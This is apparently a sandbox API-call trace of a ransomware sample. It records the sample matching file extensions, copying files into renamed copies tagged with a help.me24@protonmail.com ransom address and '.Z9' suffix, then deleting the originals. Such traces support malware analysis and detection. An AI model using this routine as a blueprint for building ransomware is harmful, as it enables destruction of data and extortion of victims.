	[0071.081] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.081] lstrlenW (lpString=".doc") returned 4
	[0071.081] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString=".docx") returned 5
	[0071.081] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.081] lstrlenW (lpString=".pdf") returned 4
	[0071.081] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.081] lstrlenW (lpString=".xls") returned 4
	[0071.081] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.081] lstrlenW (lpString=".xlsx") returned 5
	[0071.081] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.081] lstrlenW (lpString=".ppt") returned 4
	[0071.081] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.082] lstrlenW (lpString=".zip") returned 4
	[0071.082] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.082] lstrlenW (lpString=".rar") returned 4
	[0071.082] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.082] lstrlenW (lpString=".bz2") returned 4
	[0071.082] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.082] lstrlenW (lpString=".7z") returned 3
	[0071.082] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.082] lstrlenW (lpString=".dbf") returned 4
	[0071.082] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.082] lstrlenW (lpString=".1cd") returned 4
	[0071.082] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.082] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0071.082] lstrlenW (lpString=".jpg") returned 4
	[0071.082] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.082] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0071.082] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0071.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.082] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=80738) returned 1
	[0071.082] CloseHandle (hObject=0x328) returned 1
	[0071.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80
	[0071.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.083] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.083] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.083] GetLastError () returned 0x0
	[0071.083] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x13b62, lpOverlapped=0x0) returned 1
	[0071.090] WriteFile (in: hFile=0x330, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13b70, lpOverlapped=0x0) returned 1
	[0071.092] ReadFile (in: hFile=0x328, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.092] WriteFile (in: hFile=0x330, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.092] SetEndOfFile (hFile=0x330) returned 1
	[0071.093] CloseHandle (hObject=0x330) returned 1
	[0071.095] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.095] SetEndOfFile (hFile=0x328) returned 1
	[0071.096] CloseHandle (hObject=0x328) returned 1
	[0071.096] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.097] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1
	[0071.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.097] lstrlenW (lpString=".doc") returned 4
	[0071.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.097] lstrlenW (lpString=".docx") returned 5
	[0071.097] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.097] lstrlenW (lpString=".pdf") returned 4
	[0071.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.097] lstrlenW (lpString=".xls") returned 4
	[0071.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.097] lstrlenW (lpString=".xlsx") returned 5
	[0071.097] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.097] lstrlenW (lpString=".ppt") returned 4
	[0071.098] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".zip") returned 4
	[0071.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.098] lstrlenW (lpString=".rar") returned 4
	[0071.098] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString=".bz2") returned 4
	[0071.098] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString=".7z") returned 3
	[0071.098] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".dbf") returned 4
	[0071.098] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".1cd") returned 4
	[0071.098] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".jpg") returned 4
	[0071.098] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".doc") returned 4
	[0071.098] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString=".docx") returned 5
	[0071.098] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.098] lstrlenW (lpString=".pdf") returned 4
	[0071.098] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString=".xls") returned 4
	[0071.098] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString=".xlsx") returned 5
	[0071.098] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.098] lstrlenW (lpString=".ppt") returned 4
	[0071.098] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.098] lstrlenW (lpString=".zip") returned 4
	[0071.098] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.098] lstrlenW (lpString=".rar") returned 4
	[0071.099] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.099] lstrlenW (lpString=".bz2") returned 4
	[0071.099] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.099] lstrlenW (lpString=".7z") returned 3
	[0071.099] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.099] lstrlenW (lpString=".dbf") returned 4
	[0071.099] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.099] lstrlenW (lpString=".1cd") returned 4
	[0071.099] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0071.099] lstrlenW (lpString=".jpg") returned 4
	[0071.099] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.099] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.099] lstrlenW (lpString="eula.rtf") returned 8
	[0071.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0071.321] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=54456) returned 1
	[0071.321] CloseHandle (hObject=0x320) returned 1
	[0071.321] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0071.385] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.385] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0071.731] GetLastError () returned 0x0
	[0071.731] ReadFile (in: hFile=0x310, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xd4b8, lpOverlapped=0x0) returned 1
	[0071.787] WriteFile (in: hFile=0x354, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd4c0, lpOverlapped=0x0) returned 1
	[0071.789] ReadFile (in: hFile=0x310, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.789] WriteFile (in: hFile=0x354, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.789] SetEndOfFile (hFile=0x354) returned 1
	[0071.789] CloseHandle (hObject=0x354) returned 1
	[0071.791] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.791] SetEndOfFile (hFile=0x310) returned 1
	[0071.792] CloseHandle (hObject=0x310) returned 1
	[0071.792] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.793] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1
	[0071.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.793] lstrlenW (lpString=".doc") returned 4
	[0071.793] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString=".docx") returned 5
	[0071.793] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.793] lstrlenW (lpString=".pdf") returned 4
	[0071.793] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString=".xls") returned 4
	[0071.793] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.793] lstrlenW (lpString=".xlsx") returned 5
	[0071.793] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.793] lstrlenW (lpString=".ppt") returned 4
	[0071.793] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.793] lstrlenW (lpString=".zip") returned 4
	[0071.793] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.793] lstrlenW (lpString=".rar") returned 4
	[0071.793] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString=".bz2") returned 4
	[0071.793] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString=".7z") returned 3
	[0071.793] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.793] lstrlenW (lpString=".dbf") returned 4
	[0071.793] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".1cd") returned 4
	[0071.794] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".jpg") returned 4
	[0071.794] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".doc") returned 4
	[0071.794] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString=".docx") returned 5
	[0071.794] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.794] lstrlenW (lpString=".pdf") returned 4
	[0071.794] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString=".xls") returned 4
	[0071.794] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.794] lstrlenW (lpString=".xlsx") returned 5
	[0071.794] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.794] lstrlenW (lpString=".ppt") returned 4
	[0071.794] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".zip") returned 4
	[0071.794] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.794] lstrlenW (lpString=".rar") returned 4
	[0071.794] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString=".bz2") returned 4
	[0071.794] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString=".7z") returned 3
	[0071.794] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".dbf") returned 4
	[0071.794] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.794] lstrlenW (lpString=".1cd") returned 4
	[0071.794] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0071.795] lstrlenW (lpString=".jpg") returned 4
	[0071.795] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.795] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0071.795] lstrlenW (lpString="eula.rtf") returned 8
	[0071.795] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.795] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5827) returned 1
	[0071.795] CloseHandle (hObject=0x310) returned 1
	[0071.795] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0071.795] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.795] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.795] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.795] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.795] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0071.840] GetLastError () returned 0x0
	[0071.840] ReadFile (in: hFile=0x310, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x16c3, lpOverlapped=0x0) returned 1
	[0071.853] WriteFile (in: hFile=0x2b8, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0071.854] ReadFile (in: hFile=0x310, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.854] WriteFile (in: hFile=0x2b8, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0071.855] SetEndOfFile (hFile=0x2b8) returned 1
	[0071.855] CloseHandle (hObject=0x2b8) returned 1
	[0071.856] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.856] SetEndOfFile (hFile=0x310) returned 1
	[0071.856] CloseHandle (hObject=0x310) returned 1
	[0071.857] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.857] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1
	[0071.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.857] lstrlenW (lpString=".doc") returned 4
	[0071.857] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.857] lstrlenW (lpString=".docx") returned 5
	[0071.857] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.857] lstrlenW (lpString=".pdf") returned 4
	[0071.857] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.857] lstrlenW (lpString=".xls") returned 4
	[0071.857] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.857] lstrlenW (lpString=".xlsx") returned 5
	[0071.857] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.857] lstrlenW (lpString=".ppt") returned 4
	[0071.857] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.857] lstrlenW (lpString=".zip") returned 4
	[0071.858] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.858] lstrlenW (lpString=".rar") returned 4
	[0071.858] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString=".bz2") returned 4
	[0071.858] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString=".7z") returned 3
	[0071.858] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString=".dbf") returned 4
	[0071.858] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString=".1cd") returned 4
	[0071.858] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString=".jpg") returned 4
	[0071.858] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString=".doc") returned 4
	[0071.858] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString=".docx") returned 5
	[0071.858] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0071.858] lstrlenW (lpString=".pdf") returned 4
	[0071.858] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString=".xls") returned 4
	[0071.858] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0071.858] lstrlenW (lpString=".xlsx") returned 5
	[0071.858] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0071.858] lstrlenW (lpString=".ppt") returned 4
	[0071.858] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0071.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.858] lstrlenW (lpString=".zip") returned 4
	[0071.858] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0071.858] lstrlenW (lpString=".rar") returned 4
	[0071.858] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0071.859] lstrlenW (lpString=".bz2") returned 4
	[0071.859] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0071.859] lstrlenW (lpString=".7z") returned 3
	[0071.859] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0071.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.859] lstrlenW (lpString=".dbf") returned 4
	[0071.859] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0071.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.859] lstrlenW (lpString=".1cd") returned 4
	[0071.859] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0071.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35
	[0071.859] lstrlenW (lpString=".jpg") returned 4
	[0071.859] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0071.859] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
